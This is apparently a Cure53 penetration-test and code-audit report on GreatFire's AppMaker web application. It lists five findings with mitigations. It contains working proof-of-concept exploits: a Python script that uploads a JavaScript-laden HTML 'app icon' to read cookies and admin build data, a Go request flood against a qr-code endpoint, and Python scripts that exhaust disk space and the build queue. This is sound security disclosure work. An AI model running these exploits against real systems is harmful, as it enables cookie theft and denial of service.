Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report GreatFire AppMaker UI & API 11.2020

Cure53, Dr.-Ing. M. Heiderich, S. Gauci, A. Farrugia

Index

Introduction

> *“Create your own Android app that allows your readers to access your blocked website without a VPN.”*
>
> From https://appmaker.greatfire.org/

This report documents the scope, results and findings of a penetration test and source code audit against the AppMaker web application maintained by GreatFire.

To give some context, the purpose of the web application is to generate Android apps that can be used to bypass censorship without the use of a VPN (or a similar infrastructure) on the fly.

This particular test marks the second of two penetration assessments performed by Cure53 against this scope. Please note that the first test enacted in July 2020 (*GF-02*) focused on the Envoy Library utilized by this web application. This second test (*GF-03*) focused on the web application itself.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The assignment was carried out in mid-late November 2020 and involved a team of three skill-matched testers who prepared, executed and then finalized the project in close collaboration with GreatFire.

In parity with *GF-02*, the chosen methodology was white-box. The Cure53 team were also granted access to the source code, test supporting material and documentation — the latter explaining the purpose, inner workings and finer details of the scope items.

Communications were enabled via a dedicated, private Slack Channel which Cure53 created for all active team members. The pertinent GreatFire personnel were also invited to participate.

Communications were efficiently productive in assisting the team, who were able to ask a plethora of scope-related questions and receive prompt, concise answers from GreatFire. The testing environment was able to progress without any noteworthy hindrances and the resulting coverage levels were sufficiently positive.

With regards to the aforementioned coverage, testing and code auditing successfully identified a total of five findings. Three of which were classified to be security vulnerabilities of varying severity. and two were categorized as general weaknesses with lower exploitation potential.

Worthy of mention here: none of the findings were given severity levels beyond *Medium*, which can be considered an optimistic result. Specifically, one issue would have had the potential to lead to an XSS attack but has limited impact in this usage scenario. Other issues include possible spoofing via malformed URIs and DoS.

All in all this is quite the positive outcome, especially when one considers that testing performed in *GF-02* yielded issues of *High* and *Critical* severity rating.

This report will now shed further light on the scope and test parameters, before listing each and every finding unearthed throughout the assessment phase. Each listed finding will be accompanied by a technical description, plus a PoC or steps to reproduce where possible. Mitigatory recommendations addressing particular concerns for each finding will also be detailed.

Subsequently, the report will finalize with a conclusion in which the Cure53 team will elaborate on the general impressions gained during this test toward security posture. In summation, the team will deliver high-level advice concerning enhanced scope and perimeter hardening and the optimal methods by which to implement them.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **White-Box Tests & Security Audits against GreatFire Web Application**
  - https://appmaker.greatfire.org/
- **Sources were shared with Cure53**
- **Test-supporting material was shared with Cure53**
  - Cure53 was given access to a scope description
  - Cure53 was further given access to a base-APK file to work with

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues identified throughout the testing period. Please note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *GF-03-001*) for the purpose of facilitating any future follow-up correspondence.

GF-03-001 API: Cross-Site Scripting via *App icon* upload *(Medium)*

When creating a new application via the main page, the *content-type* of the uploaded *"App icon"* is not checked at server side, allowing users to upload any type of content which can be deemed malicious. By allowing arbitrary files to be uploaded, malicious users can upload HTML files that execute JavaScript within the context of the *appmaker.greatfire.org* domain. During testing, the list of APKs could be retrieved via the */admin/build_service/build/* when a logged-in administrator browses to the malicious URL.

Steps to reproduce:

1. Save the below Python script to *uploadhtml.py.*
2. Run the program using *python3 uploadhtml.py.*
3. Browse to the link that is printed by the script, which will display a simple alert box triggered via JavaScript.
4. If the tester is logged into the Django admin interface, then the APKs in question are listed.

Example Exploit:

```
import requests, re

URL="https://appmaker.greatfire.org"

s=requests.session()
csrf=re.findall(r'name="csrfmiddlewaretoken" value="([a-zA-Z0-9]+)"',
    s.get(URL + '/').text)[0]

b=s.post(URL + '/', data={
        'csrfmiddlewaretoken': csrf,
        'app_name': 'test',
        'home_page': 'http://www.test.com',
},files={
    'app_icon': (
        'test.html',
        '<script src="//code.jquery.com/jquery-3.5.1.js"></script>' + \
        '<script>alert(document.cookie);' + \
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
        '$.get("/admin/build_service/build/", ' + \
        'function(data){alert(data);});' + \
        '</script>',
        'text/html')
})
print("Uploaded file: " + \
    URL + "/media/uploads/" + \
    re.findall(r'/media/uploads/([a-z0-9]+\.[a-z]+)', b.text)[0])
```

A master list of permitted file extensions should be maintained to verify which files can be uploaded before being passed through the web server. The list of file extensions should be limited to those file extensions used for the “App Icon”. Examples include *.jpeg*, *.jpg*, and *.png*. The use of SVG file upload is discouraged due to its potential for XSS. If SVG file uploads need to be distributed from the web server, mitigatory actions must be made to avoid XSS. This includes the use of Content Security Policies for SVG files, and forcing the content to be downloaded through the *content-disposition: attachment* header.

GF-03-002 API: Apps may be overwritten to point to malicious URLs *(Medium)*

A malicious URL can be specified as the home page, which would result in the same package name as an existing one. This would overwrite the previous package with a new item directed toward the malicious URL. Specifying the URLs detailed below would have the following effects:

1. HTTP instead of HTTPS for the scheme (e.g. *http://www.cure53.de*) would lead to the last leg of the connection proxied by the FreeBrowser to be done over HTTP.
2. Specifying *//www.cure53.de* would lead to the app not connecting.
3. Specifying *ftp://www.cure53.de* would lead to the app not connecting.
4. Specifying *https://www.cure53.de:12345* would lead to the app not connecting.
5. Specifying *https://www.cure53.de/?some-parameters* might cause the web app on the homepage to behave differently than *https://www.cure53.de/*, which may have privacy or security implications.

By abusing this issue, attackers may replace legitimate packages available on the AppMaker with those that point to unencrypted versions of the website, or perhaps even those that no longer work. In some cases, it appears that the IP address of the victim user is actually leaked in the plaintext connection to the home page URL when performed on HTTP. This is highlighted in the *X-forwarded-for* header.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Steps to reproduce:

1. Visit https://appmaker.greatfire.com/ and add a URL such as *https://cure53.de* in the home page.
2. After filling the rest of the required values, click the submit button.
3. Once the app is built and installed on your phone, notice how the app opens the HTTPS version of *cure53.de.*
4. Reproduce steps 1 and 2 but specifying an HTTP url here instead - *http://cure53.de* for example.
5. Observe how the same app at *https://appmaker.greatfire.com/de.cure53* is now pointing to HTTP instead of HTTPS.

During a test where the homepage was *http://x-x.cc* in the produced app, the following plaintext HTTP request was observed, displaying the tester's IP address as the first *X-Forwarded-For* entry.

Example Request:

```
GET / HTTP/1.1
Host: www.x-x.cc
Connection: Keep-Alive
Accept-Encoding: gzip
CF-IPCountry: SG
X-Forwarded-For: 95.90.197.100, 185.31.18.51, 192.168.255.21,
127.0.0.1,139.162.43.175
CF-RAY: 5f4294f80a3d022c-FRA
X-Forwarded-Proto: http
CF-Visitor: {"scheme":"http"}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Cookie: __cfduid=d3de3641d1f0c0b54ffc682fba5d5d7691605706473
User-Agent: Mozilla/5.0 (Linux; Android 9; moto g(7)) AppleWebKit/537.36 (KHTML,
like Gecko) Version/4.0 Chrome/FreeBrowser Mobile Safari/537.36 FreeBrowser/331
CF-Request-ID: 067d7b6f070000022ce0a6c000000001
CF-Connecting-IP: 139.162.43.175
CDN-Loop: cloudflare
```

It is recommended to make use of unique locations for the package names that are specific to the full URL. One suggestion for actioning this is to install the following URL structure instead of that which is currently active:

https://appmaker.greatfire.com/<pkg_hash>/<pkg_name>.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

GF-03-004 API: Various API endpoints vulnerable to DoS *(Medium)*

Due to the nature of the web application, it is susceptible to Denial-of-Service (DoS) attacks. The following areas were flagged as being potentially vulnerable to such an attack.

Issue 1: Service degradation upon *qr-code* generation

The *api/qr-code* endpoint was observed to take substantial CPU resources during fuzz testing. The following PoC highlights how such an attack can be carried out by a simple Golang program.

Example Exploit:

```
package main
import (
	"io/ioutil"
	"net/http"
)
func get() {
	for {
		client := &http.Client{}
		req, _ := http.NewRequest("GET",
			"http://127.0.0.1:8000/api/qr-code?text=a", nil)
		req.Header.Set("Referer",
			"http://127.0.0.1:8000/")
		res, _ := client.Do(req)
		if res != nil {
			ioutil.ReadAll(res.Body)
		}
	}
}
func main() {
	for i := 0; i < 100; i++ {
		go get()
	}
	select {}
}
```

The following timings were observed before the attack was started:

```
curl http://127.0.0.1:8000/  0.00s user 0.00s system 70% cpu 0.012 total
curl http://127.0.0.1:8000/  0.00s user 0.00s system 74% cpu 0.013 total
curl http://127.0.0.1:8000/  0.00s user 0.00s system 74% cpu 0.012 total
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The following timings were observed during the attack:

```
curl http://127.0.0.1:8000/  0.01s user 0.00s system 0% cpu 33.965 total
curl http://127.0.0.1:8000/  0.01s user 0.01s system 0% cpu 3.126 total
curl http://127.0.0.1:8000/  0.01s user 0.00s system 0% cpu 16.736 total
```

The same experiment was carried out by changing the attack URL to *http://127.0.0.1:8000/api/qr-code?text=a*, which resulted in the following timings:

```
curl http://127.0.0.1:8000/  0.01s user 0.00s system 1% cpu 0.859 total
curl http://127.0.0.1:8000/  0.00s user 0.01s system 0% cpu 1.482 total
curl http://127.0.0.1:8000/  0.01s user 0.01s system 3% cpu 0.743 total
```

This shows the impact of having the endpoint */api/qr-code* bombarded with requests, compared to other endpoints.

Issue 2: Disk space exhausted by *App icon* uploads

No file size restriction on the *App icon* file upload exists, allowing users to upload large files. During testing, 10 files of 1Gb each were successfully uploaded (this test was performed against the tester's machine and not *appmaker.greatfire.com*). An attacker might use this lack of validation to exhaust disk resources, leading to a denial of service.

Example Exploit:

```
import requests, re

URL="http://127.0.0.1:8000"

for i in range(10):
    s=requests.session()
    csrf=re.findall(
        r'name="csrfmiddlewaretoken" value="([a-zA-Z0-9]+)"',
        s.get(URL + '/').text)[0]
    b=s.post(URL + '/', data={
            'csrfmiddlewaretoken': csrf,
            'app_name': 'test%i' % i,
            'home_page': 'http://www.test%i.com' % i,
    },files={
        'app_icon': (
            'test%i.html' % i,
            '%s%i' % ('A' * 1024*1024*1024, i))
    })
```

By checking the size occupied by the *icons* directory, one can observe that more than 10Gb of disk space will be used.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Issue 3: App generation DoS

Since there is no kind of protection against users that request application building, an attacker would be able to fill the worker queue with a large number of requests, thereby delaying the building of legitimate applications indefinitely. Since builds take an exponential amount of time, the attack can be performed well below any rate limit imposed by conventional DDoS protection.

Example Exploit:

```
import requests, re

URL="http://127.0.0.1:8000"

for i in range(10000):
    s=requests.session()
    csrf=re.findall(
        r'name="csrfmiddlewaretoken" value="([a-zA-Z0-9]+)"',
        s.get(URL + '/').text)[0]
    b=s.post(URL + '/', data={
            'csrfmiddlewaretoken': csrf,
            'app_name': 'test%i' % i,
            'home_page': 'http://www.test%i.com' % i,
    },files={
        'app_icon': (
            'test%i.html' % i,
            '%s%i' % ('A' * 1, i))
    })
```

If, during this attack, a user tries to build a new application, one can observe that the process of building this app will take a lengthy amount of time.

When uploading files to the server, file size limits should be in place. In *Django* this can be achieved by adding a validator to the *app_icon* field, which checks for the file size. A validation error should be thrown when the file size exceeds a specified safe value.

In order to reduce the possibility of CPU and disk-exhaustion attacks caused via API endpoints, rate limiting can be added to *Nginx* by using the *limit_req_zone* and *limit_req* parameters.

Typically this is a task which requires much testing and experimentation, since each endpoint might impose different resource-consumption overheads. One potential method is to use load testing tools, such as *Apache JMeter*, and tweak parameters in a test environment. Having said that, reducing the risk of Denial-of-Service via application building might be a more challenging task, since the creation of an application does not

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

require any kind of authentication. Disk space exhaustion can also be mitigated by making use of external file storage.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might assist an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

GF-03-003 Libraries: Outdated packages with known vulnerabilities *(Low)*

The Python libraries Django and Pillow installed via *requirements.txt* were found to be within a version with known vulnerabilities. The following CVEs were found to affect these libraries:

Django==3.0.8 (latest version is 3.0.10 for 3.0.x)

- CVE-2020-24583 (CVSS score: 7.5): Incorrect permissions on intermediate-level directories on Python 3.7+
- CVE-2020-24584 (CVSS score: 7.5): Permission escalation in intermediate-level directories of the file system cache on Python 3.7+

The description for CVE-2020-24583 states that this issue occurs when the *collectstatic* management command is used. This command was found to be used in *install_deps.sh*. It is recommended to update this library to the latest version.

Pillow==7.0.0

- CVE-2020-10379 (CVSS score: 7.8): In Pillow before 7.1.0, there are two Buffer Overflows in *libImaging/TiffDecode.c*.
- CVE-2020-11538 (CVSS score: 8.1): In *libImaging/SgiRleDecode.c* in Pillow through 7.0.0, a number of out-of-bounds reads exist in the parsing of SGI image files, a different issue than CVE-2020-5311.
- CVE-2020-10994 (CVSS score: 5.5): In *libImaging/Jpeg2KDecode.c* in Pillow before 7.1.0, there are multiple out-of-bounds reads via a crafted JP2 file.
- CVE-2020-10378 (CVSS score: 5.5): In *libImaging/PcxDecode.c* in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where *state->shuffle* is instructed to read beyond *state->buffer*.
- CVE-2020-10177 (CVSS score: 5.5): Pillow before 7.1.0 has multiple out-of-bounds reads in *libImaging/FliDecode.c*.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

PIL is used by the *qrcode* library to generate images, meaning no image decoding is taking place here. Nevertheless, it is recommended to update the library to the latest version.

GF-03-005 Cloudflare: Weak TLS configuration *(Info)*

This server supports TLS 1.0 and TLS 1.1, which security system best practices would blacklist due to their susceptibility to well-known vulnerabilities.

Tools such as *testssl.sh* or online tools such as Qualys SSL servers test can be installed to review the TLS configuration. With regards to Cloudflare, this configuration may be altered via the Cloudflare portal under the *SSL-TLS -> Edge Certificates* section.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

The impressions gained during this report - which details and expands on all findings identified during the CW46 and CW47 testing against the GreatFire AppMaker web application by the Cure53 team - will now be discussed at length. To summarize, the confirmation can be made that the software in focus has left a positive impression, with no severity ratings higher than *Medium* recorded.

One can consider that the AppMaker web application had a rather interesting (albeit small) attack surface on the whole. The decision to use the Django framework, which enforces strict coding best practices, has heavily influenced this observation. No code hacks were spotted during the code review, therefore the security measures imposed by the framework were not compromised.

Extensive testing was performed in an attempt to identify remote code execution and injection vulnerabilities via the methods of code review and debugging techniques - this did not yield any such findings. In every instance, input validation in conjunction with standardized employment of safe-coding patterns were able to prevent these attacks. Alarmingly, with regards to Denial-of-Service protection, the application seemed to lack basic detection and preventive mechanisms. If the solution is scaled up in the future, Denial-of-Service protection will need to be in place at application level. Positioning the application behind a Denial of Service protection service such as CloudFlare will simply be insufficient due to the fact that sophisticated attacks can bypass detection via these means.

Concerning the setup scripts and application settings, the deduction can be made that the system is currently built to perform on a single machine with one process worker that builds Android apps. In the eventuality that multiple workers are employed in the future, testing for potential race conditions should be enacted as soon as possible - especially whilst executing the application building script simultaneously. Furthermore, it is recommended to implement enhanced version-control mechanisms to ensure that outdated libraries are unable to endanger current and future project objectives.

In conclusion, impressions were positive owing to the relatively small number of findings and their assigned severity levels. The GreatFire team is certainly on the right track with development best practices regarding security framework. Once the reported issues have been fixed, the application should boast a strong posture, ready for deployment.

Cure53 would like to thank Martin, Charlie and Envoy from the GreatFire team for their excellent project coordination, support and assistance, both before and during this assignment.